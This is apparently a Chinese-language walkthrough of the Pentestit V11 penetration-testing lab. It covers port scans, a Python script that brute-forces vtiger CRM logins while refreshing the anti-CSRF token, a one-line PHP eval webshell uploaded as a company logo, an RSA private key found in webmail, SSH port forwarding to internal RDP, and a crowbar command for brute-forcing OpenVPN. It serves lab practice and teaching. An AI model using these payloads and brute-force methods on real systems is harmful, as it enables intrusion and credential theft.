Pentestit V11内网渗透

前言

最近发现了一个很好玩的域渗透练习平台:https://lab.pentestit.ru/pentestlabs/7 ,这个平台发给我们一个vpn然后让我们进去他们内网进行渗透测试。这个域中包括各种各样的主机和服务,可以说是非常棒了,今天在这里给大家分享一下一些有意思的地方。好吧我承认,这篇文章是内网渗透之边缘ob,因为网络原因很多东西都受限制,今天在这起一个抛转引玉的作用,有什么不足之处还请大佬们多多关照。

 

Start!

配置好vpn后,进入其内外,网络拓扑图如下:
Alt text
这里有两个办公区,入口分别为192.168.101.10和192.168.101.11,我们先进入主办公区进行渗透。

常规思路:

  1. Nmap进行端口扫描
    nmap -sV -p 1-65535 192.168.101.10
    

    Alt text

  2. 扫描其目录及信息泄露
    这里每个web服务都得扫,然后每个目录下都有可能存在信息泄露,这里我扫的有点快,然后不知咋了,可能是ban了我10分钟ip
  3. 逛80端口网站的时候,在Brup中看到HTTP History的时候发现:
    Alt text

看到wp-content这个文件夹后基本就能确定是WordPress,然后上github看了一下WP的目录结构
Alt text

证明猜想正确,果不其然,顺手google一发:
Alt text

仿佛flag就在眼前了,
Alt text
但是,这里按照给的exp跑的时候,并不能跑出来,仔细一看:
Alt text
漏洞页面被删了,然后继续测试后面那个EXP,也被开发者删了。

Nmap扫到3个web应用,我们继续看88端口的web服务,发现了指纹:Powered by vtiger CRM 6.3.0

Google: vtiger CRM 6.3.0 cve
发现一个RCE的洞:https://www.exploit-db.com/exploits/38345/,但是这个需要登录而且没有注册按钮! 不过这里没有验证码,所以可以爆一个账户登进去了。

但是这里还是有一个技术难点的,我们抓包的时候可以发现,如下图所示,这里为了防止CSRF,带了一个反csrf的令牌
Alt text

正常的发包过程是,先进入登录界面,里面有个隐藏字段__vtrftk
Alt text

然后登录的时候,就带着这个表单中隐藏的字段来发送,和服务端的这个参数进行比较。

所以我们爆破的时候,就得先发包到index抓取到__vtrftk字段,然后带着vtrftk字段再发一个包提交表单。

ps: 有一种比较容易的情形就是,csrf的token在登录请求的返回包中,我们可以直接用Brup的intruder模块中用正则抓取到token,然后作为下一次提交表单的参数。在乌云上有一篇文章说的不错:http://wooyun.jozxing.cc/static/drops/tips-2504.html

但是这里情形比较特殊,搜索了很久之后还是放弃了,自己写脚本来处理吧…

# coding:utf-8

from urllib.request import urlopen
from bs4 import BeautifulSoup
import requests

get_token_url = ''
login_url = ''


def  get_token():
    html = urlopen(get_token_url)
    bs = BeautifulSoup(html,"html.parser")
    return bs.find("input", {"type": "hidden"}).attrs["value"]

def get_dict(filename):
    try:
        f = open(filename, 'r')
        result = list()
        for line in f.readlines():
            line = line.strip()
            result.append(line)
        print(result)
        f.close()
        return result
    except:
        print("Read_error")
        exit()

def login():
    proxies = {
        'http': 'http://127.0.0.1:8080'
    }
    usernames = get_dict('username.txt')
    passwords = get_dict('password.txt')
    for username in usernames:
        for password in passwords:
            __vtrftk = get_token()
            data = {
                '__vtrftk': __vtrftk,
                'username': str(username),
                'password': str(password)
            }
            try:
                requests.post(login_url, data=data, proxies=proxies)
            except:
                print("login error")

if __name__ == "__main__":
    login()

这个脚本中我使用了代理127.0.0.1:8080,是因为burp的在本地监听8080端口,我们通过这个代理,可以清晰的看到流量的请求和响应过程,便于我们分析。(同样,我们在编写各类exp的时候,都可以这样做,便于我们分析流量)

梯子很卡,爆了很久之后才出密码。

好了,该exp派上用场。根据exp所述,在上传公司logo的地方可以getshell

Alt text

在这里我卡了很久,一直都被检测出图片不合法,exp也没说这个坑点。后来我才发现,这里采用了文件内容检测,检测到php字符就认不合法。所以这里用php的一个小知识,<?标签后不加php也能执行,后来我在本地测试过这个好像跟php版本也有一点关系….

<? @eval($_POST['A']); ?>

Alt text

成功Getshell~
Alt text
Alt text

第一个Flag拿到了!

Give_me_all

接下来,信息收集一波就直奔内网了~
但是很烦的是…shell很快就被删掉了,都没来得及看他数据啥的文件,也没来得及维权,上ew来内网漫游。

信息收集,菜单栏一个个点开,邮件、垃圾箱一个都不能少
Alt text
Alt text

整理一下:

User Name    admin    Primary Email    admin@test.lab
First Name    darthvader    Last Name    Administrator
Admin    Yes    Role    CEO
Default Lead View    Today    Status    Active

Viewing user details  "darthvader Administrator"
Access Key    hDUTJPEVCi7KAIQu

这里基本上就弄完了,然后又试了一次上个不死马,结果还是404了,大概可以猜到这个域环境很多人都在打,环境定时恢复快照了吧,因为我又在CRM邮箱中添加了一个管理员,过了一会也没了。所以大概猜想出题人没有想让我们在这进行内网漫游。

Go on!

再来看看第三个web服务
Alt text

也是一个邮件系统:Roundcube Webmail, 哇….突然发现信息收集真是牛逼…. 试了一次就进去了!

admin@test.lab  darthvader

一点进来又送我一个大礼包, 第二个办公区的SSH Get!
![Alt text]https://i.loli.net/2018/08/02/5b62febc4072c.png)

Mattew,
Office 2 GW SSH:
username: tech
pkey:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA01uFJH2WZT9MQgTRG7raRRgK4uDfOSYzWRiw5MRrch9g8iFZ
6XQkh+m0jGOFB/1Z1ZulpmhTwdLuc6NwbBWtgghi+OmmQVkEnO86Oy2djqoQIaZa
m+g4ZZMNPakCiuXYJGepz82dRo+FIeZuuahLA7lt76N88yGbYOneN+uzG/rKu9ra
fx7F9Nj1Mftwy7/uGaumCYy+H8siwitkn+D4Sv8w0hR51OwQ5q1OUV3HWsMZzdWa
HtR5ADbnV1/Pq5Rohy2j34zquhhYiMEa+XSTukobza4DPXZdhgGUCMp9rfvEoVwY
JnOR/Ug6C39cr6gXHMqruK9crXwHJ0PzEjV8QQIDAQABAoIBAAYLLel3Nd+7SaDx
plEWrLshDt6h84Ac2YcIr7Y675+ZyhniXkHQsmK4ihMhnWI3GmSDSN9TSGHYeD0S
RVqx2/5F4x6e/8QKmZkrNg0PJtw3fLKZoSmoIES3Sb+jn5D9NYsE89QfWwnzfKkV
f8ELUOnQWZZqpF4Hbfv9c/9BXCPGoMZC0uURwLn0IfTszr7uJM3ByRte1ui9nkJx
dYJI5ixmPrN1qawqSzLMpBR/2hOAr9aUAaVI/LEYgHlYTPNr21HlDIyHDeWMfeso
I6mCpDhzcGd+TyrXZ3yZ33l8wHzAUrfG0JUVHOs/MxkyVR6+U2E9W9GgMKoMA5Ub
v5MMZGECgYEA9l8PgnucsGxDIUfwDJ/qX5HV5z0zy6MwFyyu0YNi/FcmmbNeKm+s
VRfKaMbrT7YNGRZQZLv5VeS2zhKx6CDOlrCoU2p22yUUiFhxfJSxd1L8GmjVbokn
x3j62L58ypjJRi9nW1P6rYzJ5hEhh8UBds8VvJdxtWnjCJcaOusgMF0CgYEA254l
noRgO9LIHHG6BNsdcq0vPa8e/O0Y3Ald+z1+vcGEkFR8PAVbJEyWAPq/KVHSx7dE
sykfK5DRkyRVndAO8HjCLhcnwwAPolZHlWzqw3XU2wRN+NDqi6sH0Go9CXxcXjFE
vWHzSpJbCVY+Xnf6NltEOdsGJtJlInlN9pwFzTUCgYBKRpJ4difhEGKUsAlw5O1V
7rOcSVlKNWKUOgZiZ8f555RdljP3ez9rUAbX29CpcWs1ewK1u+4JtTBfpEc6glmG
GLBGpbw7iUxNZsygEHwIS15x39Uow/TYMGL/4T3iHnnfzP7OC91xYRalY9jGA+DT
Hs+g0c+YL9oght2DkctciQKBgE2simudMBgYfbQpuPv8r1ae0AWGCXS1OsSf/4Bb
iJb+ea8+Yk4sKscU2zzvcmrfyKfgNskS8zZKWwUqpalSK+Z7H1qD0AlU3TKyR1Ef
G40UALuRsy4cXcgWLoZU/M99D4I09LXyjcTDLLWJrjdlQba14tR/lZZndWOS+bMO
DbM9AoGBAJcGogQGJHF4+uhwc32pQq3fBSVvPALBGP443BSaYz0DqeJbhGVCyOUy
+dc6aNMKqME1vyC5cRpGnwnOGYvlzsBsBfspk4XnM8khQCs5SWRq28hPKb3xDU0a
e97Ix2B3jrPlPlh9vo4xwNaND3xhF8AVQxyH1ET1YbnmVPSe/PgU
-----END RSA PRIVATE KEY-----

这下就很舒服了,转战第二个办公区,同样Nmap探测一下192.168.101.11。

发现2222端口是他的ssh端口,
我这里用finalshell来连接ssh:
Alt text

或者通过命令ssh tech@192.168.101.11 -p2222 -i office2_ssh.key 来连接ssh也行
Alt text

发现tmp目录下tech有执行权限
Alt text

上了一个信息收集的脚本,结果见附件中。
Alt text

这里列出一些信息收集比较重要的命令:

uname  -a               # 查看内核/操作系统/CPU信息
cat /proc/version       # 查看linux系统的内核版本
head -n 3  /etc/issue   # 查看操作系统版本 
cat   /proc/cpuinfo      # 查看CPU信息
dpkg-query -l          # 查看安装软件
hostname               # 查看计算机名 
ps -ef                 # 查看所有进程
lsusb   -tv              # 列出所有USB设备 
dpkg-query -l            # 安装的软件
lsmod                  # 列出加载的内核模块
env                    # 查看环境变量
cut -d: -f1 /etc/group    # 查看系统所有组 
crontab -l             # 查看当前用户的计划任务
dmesg | grep -i 'eth'    # 查看网卡信息
ifconfig               # 查看所有网络接口的属性
iptables -L            # 查看防火墙设置 
route -n               # 查看路由表 
top                    # 实时显示进程状态
lspci  -tv              # 列出所有PCI设备
netstat -lntp          # 查看所有监听端口 
netstat -antp          # 查看所有已经建立的连接
netstat -s             # 查看网络统计信息
w                      # 查看活动用户
id <用户名>            # 查看指定用户信息 
last                   # 查看用户登录日志 
cut -d: -f1 /etc/passwd   # 查看系统所有用户 
chkconfig --list       # 列出所有系统服务
chkconfig --list | grep on    # 列出所有启动的系统服务

突然发现tmp目录下还能搭顺风车… 这台机器不重置,前人留下的足迹都在这… 试了几个exp,都无果…
Alt text

再搭顺风车… 借上面nmap一用。

nmap -sV -Pn  192.168.13.1-3

这里可以扫描到第二办公区三台主机的的3389。
现在我们得想如何才能连上内网中的内网的3389。
两种思路,第一种就是在office2的入口机上面放一个ew代理工具,然后直接攻击机socket5去连接目标,但是有个问题就是我们现在已经挂了VPN了再在攻击机上挂一个代理工具似乎不可行。

另外一条思路就是用ssh建隧道,可能很多人(比如我)都只知道ssh是用来连linux服务器的。殊不知它的隧道转发功能是多么强大。让我们很方便的进行内网穿透。

这里简单的介绍一下,它有三个基本功能:

  1. 本地端口转发
  2. 远程端口转发
  3. 动态端口转发

这里我们用本地端口转发,命令格式如下:

ssh -L [bind-address]<local port>:<remote host>:<remote port> <SSH hostname>

Bind_address:表示本地主机的ip(绑定地址),这里是针对系统有多块网卡,不指定默认127.0.0.1
Local port: 本地主机指定监听的端口
Remote host:远程主机的host
SSH hostname:和local建立隧道的服务器,如上图中SSH Sever服务器的主机

所以这里我们将offic2的入口机当成跳板,通过它连接内网主机的3389,监听三个端口3389,映射到内部的三台主机的3389。

ssh -L 3389:192.168.13.1:3389 -i office2_ssh.key tech@192.168.101.11 -p 2222

三台winodws,轮流尝试MS17010、MS08067等还有hydra爆破。

之前没有记录这里的过程,就只用hydra爆出了一台3389,后来想再去深入一下的时候,网络很差3389连了很久都连不上,就暂时先放着了。

根据之前跑了一个信息收集脚本发现,办公一区的边界机是可以ping通的。
Alt text

还有一点.. 根据收集到的安装的软件看到了这么几个软件比较眼熟
Alt text
nmap、openssh啥的就不用说了,值得注意的是openvpn,有可能是内部员工的梯子之类的。

tech@tl11-gw-2:~$ whereis openvpn
openvpn: /usr/sbin/openvpn /usr/lib/openvpn /etc/openvpn /usr/include/openvpn /usr/share/openvpn /usr/share/man/man8/openvpn.8.gz
tech@tl11-gw-2:~$ cd /etc/openvpn
tech@tl11-gw-2:/etc/openvpn$ ls -all
tech@tl11-gw-2:/etc/openvpn$ cat server.conf

Alt text

把配置文件下载下来,里面记录如下,大致的意思就是 office2的人想进入office1的内网就连接他们1194端口。

client
dev tun
proto tcp
remote 192.168.101.10 1194
remote-cert-tls server

#####
#ping 3
#ping-restart 60
#####

script-security 2

up    /etc/openvpn/update-resolv-conf
down    /etc/openvpn/update-resolv-conf

## auth for Office-2 user
auth-user-pass "/opt/openvpn/auth.txt"

resolv-retry infinite
persist-key
persist-tun
comp-lzo

<ca>
-----BEGIN CERTIFICATE-----
省略...
-----END CERTIFICATE-----
</ca>

log /var/log/openvpn-client.log
verb 3

现在我们挂上office1区的vpn,应该就能漫游内网了~

但是有没有注意到配置文件的第18行auth-user-pass "/opt/openvpn/auth.txt"
Alt text
我们连/opt文件夹读的权限都没有…
这就很难受了,不过登录名我们可以知道Office-2 ,然后密码只能爆破背锅了,

在安全客发现一篇爆破openvpn的文章:https://www.anquanke.com/post/id/84193
使用Crowbar工具:爆破需要一个特定的ip和端口,还有配置文件,认证文件,用户名和密码。

./crowbar.py -b openvpn -s 192.168.101.11 -p 1194/ -m /root/Desktop/vpnbook.ovpn -k /root/Desktop/vpnbook_ca.crt -u Office-2 -c cr2hudaF

详细用法见:https://github.com/galkan/crowbar

GFW把我网掐断了.. 只能等我找个比较好的解决办法再继续玩了…
Alt text

最后,其实玩这个让我体会最深的就是,渗透的本质就是信息收集,其中还有一些不太懂的地方还希望各位大佬斧正。
哦对,现在这个实验室快出V12和V13域渗透环境了,到时候可以一起分享交流~

(完)